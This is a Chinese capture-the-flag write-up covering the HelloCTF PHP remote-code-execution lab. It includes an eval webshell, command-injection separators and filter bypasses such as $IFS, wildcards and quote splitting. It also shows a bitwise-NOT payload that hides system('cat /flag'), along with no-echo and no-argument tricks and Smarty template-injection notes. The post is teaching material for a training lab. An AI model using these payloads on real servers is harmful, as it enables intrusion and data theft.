CTF-RCE篇
我的 Hello CTF-RCE 靶场通关全记录与避坑指南
刚接触 Web 安全时,看到满屏的 PHP 代码、各种奇形怪状的符号,整个人都是懵的。这次死磕了 HelloCTF 的 RCE 靶场,从最基础的 cat /flag,一路解到了“ 无回显 ”、“ 无参数 ”、“ 无字母数字取反 ”,甚至到了让我头皮发麻的“ Smarty 模板注入 ”。
这篇博客不仅记录了我的解题思路,更是我这几天的踩坑史。
第一章:核心心法(万能解题三板斧)
拿到任何一道 Web 题,千万别从第一行代码开始死读,会晕。直接 Ctrl+F 搜索以下三个关键点 ( 眼神好的可以不搜 ):
第一板斧:找入口(数据从哪进来?)
解释:找门缝。
你要攻击服务器,总得有个地方把你写的代码( Payload )就是你精心构造、发给服务器用来触发漏洞( 比如执行命令 )的那段恶意代码或数据。递进去。如果连门都没有,你武功再高也打不进去。
在 PHP 代码里,外部输入的 “ 门 ” 主要就是 GET 和 POST。
为什么 GET 要加 ? 而 POST 不加 ?
核心原因:数据的 “ 包装方式 ”不同。
1. GET( 明牌进门 ):数据直接贴在门面上
你可以把 ? 想象成快递单上的 “ 分割线 ”。
在 HTTP 协议里,URL 的本职工作是告诉服务器 “ 你要访问哪个页面 ” ( 比如 /index.php )。如果这时你还想顺便带点数据过去,就必须用 ? 作为分隔符,大声告诉服务器:“ 前面的 /index.php 是地址,后面的 name=admin&cmd=ls 是我要带的数据 。”
- 为什么用 &? 因为带了多个参数(比如姓名和指令),就像串签子一样,用 & 把它们连起来。
2. POST( 暗牌进门 ):数据装在信封里
POST 请求的 URL,只负责指路( 比如就是干净的 /index.php )。
你要传的数据,不会跟在 URL 后面,而是被塞进了一个叫 “ 请求体( Request Body ) ” 的黑色信封里。服务器拿到这个信封(URL),知道里面有东西,它会自己拆开信封去拿数据,所以 URL 上根本不需要 ? 来做标记。
CTF 思路:做 Web 题看到
1 | $_GET['参数名'] |
立刻明白:“ 这里就是我的突破口,它接收什么参数名,我就必须传什么参数名。”
第二板斧:找限制( 门卫查了什么?)
解释:看安检机。
你找到了门,但是门口站着保安(过滤代码),他不让你带着危险物品进去。在 PHP 里,最狠的保安就是 preg_match。
- preg_match(正则过滤):黑名单查杀。比如 preg_match(“/system|eval/i”, $cmd),意思是只要你的传进去的数据里有 system 或者 eval 这个词,直接拉黑拦截。
什么是正则过滤?
1. 通俗解释:保安
“ 正则 ”( 正则表达式 )其实就是一种描述文字规则的公式。比如规定:“ 必须是 11 位纯数字 ”( 手机号 )、“ 必须以 .jpg 结尾 ”(图片)。
“ 正则过滤 ”就是服务器写在代码里的 “ 黑名单保安 ”。它拿着这个规则公式,去检查你发给服务器的每一句话( 你的 Payload )。只要发现里面有不符合规定,或者它觉得危险的词( 比如 system、eval、flag、单引号 ’ ),它就会直接把你拦住,不让你执行。
2. 在 PHP 代码里长什么样?( preg_match )
你在题目里看到的 preg_match,就是 PHP 里专门用来做正则匹配的函数。
比如,源码里如果写了这句:
1 | if (preg_match("/system|exec|shell/i", $_GET['cmd'])) { |
这句话的意思是:如果你通过 GET 传进去的参数 cmd 里,包含了 system、exec、shell 这几个词(不区分大小写),服务器就会直接停止运行,并弹出“ 拦截 ”。
- strlen(长度限制):规定你传的话不能超过多少个字符。
- str_replace(替换过滤):发现你带了危险词,直接给你换成空字符串。
CTF 思路:知道保安在查什么,接下来就是“ 绕狗 ”(绕过安全狗)。保安查 system,你就用大小写 System、或者用拼接 sys.tem、或者换用它的兄弟函数 passthru 来代替。
第三板斧:找漏洞(杀招在哪?)
解释:找武器的扳机。
你成功把危险物品带进去了,但必须得有个人帮你 “ 按响扳机 ”,这个物品才能炸开。这就是危险函数,也就是 RCE( 远程代码执行 )的源头。
- 代码执行:eval( ) 它会把接收到的字符串当成 PHP 代码执行。比如传 ?code=phpinfo();。
- 命令执行:system( )、exec( )、shell_exec( )、反引号 ` 它们会让服务器的 Linux 操作系统去跑命令。比如传 ?cmd=cat /flag。
- 文件包含:include( )、require( )。用来把你的文件或者远程恶意代码拉进来运行。
CTF 思路:这通常是题目要你用 Ctrl+F 找的终极目标。找到了 eval 或者 system,再配合第一板斧的入口和第二板斧的绕过,把参数传进去,Flag 就弹出来了!
代码执行 ( eval ) 和 命令执行 ( system ):
eval( ) :把字符串当 PHP 代码跑。比如 eval (“system( ‘ls’ );”)
system( ) :直接调用底层 Linux 命令。比如 system( “ls” ) ;
无回显 :服务器执行了命令,但结果被重定向到“ 垃圾桶 ”( /dev/null ),你在网页上看不到任何输出。
RCE 实战必备:Linux 命令宝典( 防忘我也记不住😇)
1. 基础探路(我是谁?我在哪?)
拿到命令执行权限后,先别急着找 Flag,先搞清楚自己在哪,是什么权限。
- whoami :查看当前用户权限(如果是 www-data,说明权限较低;如果是 root,那恭喜你直接通关)。
- pwd :查看当前所在目录。
- ls -la :列出当前目录所有文件(包含隐藏文件)。
- uname -a :查看系统内核版本(为提权做准备)。
- ifconfig 或 ip addr :查看内网 IP,为后续内网渗透做准备。
2. 花式找 Flag(绕过文件读取限制)
很多时候,题目会过滤掉 cat,或者 Flag 藏得很深。
- cat /flag :最基础的读取。
- tac /flag :反向读取(从最后一行往上读,常用于绕过 cat 的黑名单)。
- nl /flag :带行号读取。
- head -n 100 /flag :读取前 100 行。
- tail -n 100 /flag :读取后 100 行。
- grep “flag{” -r / :全局搜索。直接在整个根目录下搜包含 flag{ 的文件。
- find / -name “flag” :根据文件名找含有 flag 的文件。
- sort /flag :按字典序排序读取,有时候也能绕过简单的正则。
3. 编码与特殊读取(应对无回显/乱码)
当你的命令执行了,但因为特殊字符没回显,或者被 WAF 拦截了,可以用这些:
- base64 /flag :把文件内容转成 Base64 编码输出(安全且不会因为特殊字符报错)。
- xxd /flag :把文件转成十六进制输出。
- strings /flag :提取文件里的可打印字符(有时候 Flag 藏在二进制文件里)。
- od -c /flag :以八进制格式输出文件内容。
4. 进阶绕过(当命令被拉黑时)
如果题目过滤了空格、或者过滤了 cat:
- 绕过空格 :cat$IFS/flag 或 cat<flag
- 绕过关键字 :c"“at /fl”"ag(双引号拼接)、c\at /flag(反斜杠转义)
- 通配符绕过 :cat /fla? 或 cat /f*
第二章:实战(按关卡类型拆解)
1. 基础入门:一句话木马与文件上传
题目表现:源码里有 eval($_POST[‘a’]) ; 或者有一个上传按钮。
1 | // 源码 |
1 | // Payload (传入 PHP 代码) |
原理与解释:eval 是个听话的打手,你告诉他去干什么( system ),他就干什么。@ 符号是消音器,屏蔽报错。
避坑:上传文件后缀必须是 .php,传 .txt 服务器只会把它当文章展示,不会执行。
2.命令注入与逻辑运算符
题目表现:利用 Linux 终端的分隔符强行拼接命令。
1 | // 源码 |
1 | // Payload (利用管道符截断前面命令的回显,只输出结果) |
在 Linux 里 | ; && || 都可以用来连接多条命令。
3. 与 WAF 的游戏(各种绕过)
当 WAF 出现,我们可以给 Payload “ 易容 ”。
过滤了关键字 flag:
- 过滤了关键字 flag:
1
2
3cat /fl?g // 利用通配符
cat /f* // 利用星号
cat /fl''ag // 字符串拼接 - 过滤了空格:
1
2cat$IFS/flag // 利用环境变量
cat%09/flag // 利用 Tab 键的 URL 编码 - 过滤了斜杠 /:
1
$'\057' // 利用 ASCII 码的八进制表示
- 限制长度(如只允许 5 个字符):
1
cat /f*
4. 无回显突破
题目表现:出题人加了 >/dev/null 2>&1,把你的结果扔进(垃圾桶)。
1 | // Payload 1:利用换行符强行撕开防线 |
解释 :出题人拿胶带封了你的嘴,你加个换行符,相当于在胶带上扎了个洞,声音就漏出来了。
5. 无参与无字母数
- 无参数 RCE :不能带任何引号和参数。
1 | // 从请求头里偷数据 |
( 注意:末尾必须带分号,而且在 URL 里必须写成 %3B,我已经被坑惨了 )
- 无字母数字(取反魔术):所有字母和数字被禁。解释:计算机里字母都有编号,前面加 ~ 就变成了乱码。门卫看不懂放行,PHP 进后台自动帮你反转回来。
1
2// 将 system('cat /flag') 彻底取反变成不可见字符
code=$_=~"%8C%86%8C%8B%9A%92";$__=~"%D8%9C%9E%8B%DF%D0%99%93%9E%98%D8";$_($__);
6. Smarty 模板注入 ( SSTI )
题目表现:利用底层框架的链式调用来执行系统命令。这个非常恶心,往往需要用到 Python 脚本自动计算哈希值。
1 | # 这是一个自动化生成并发送恶意路径的 Python 脚本片段 |
第三章:我踩的坑( 踩坑实录 )
这部分是最精华的,因为我真的在这些地方卡了挺久。
1. 被出题人的“假文件”骗了
经历:用 scandir(‘/’) 扫到了 /flag,用 readfile 去读却报 No such file。
避坑:这说明文件可能是个假软链接、被锁了权限。果断去扫描别的目录( 比如 uploads ),或者直接读环境变量 getenv( )。
2. 取反漏了单引号,程序直接罢工
经历:把 cat /flag 取反了,结果报 Use of undefined constant。
避坑:PHP 里的字符串需要引号包裹!单引号 ’ 也必须取反(变成 %D8)。
3. HackBar 的 “ 好心办坏事 ”( 二次编码 )
经历:Payload 里有 %8C,被 WAF 拦了。因为 HackBar 自动把 % 再次编码成了 %258C,导致混入了数字 2 和 5,触发了拦截。
避坑:遇到特殊符号多的 Payload,果断换成 Burp Suite 或 Python。Burp 是老实人,你写啥它发啥。
4. 环境太脆,动不动就 404
经历:代码明明没错,屏幕却回显一堆落花的 JS 代码。
避坑指南:这说明靶场超时了,环境销毁了。去平台点重置环境。这不是你的错,是靶场太脆了。
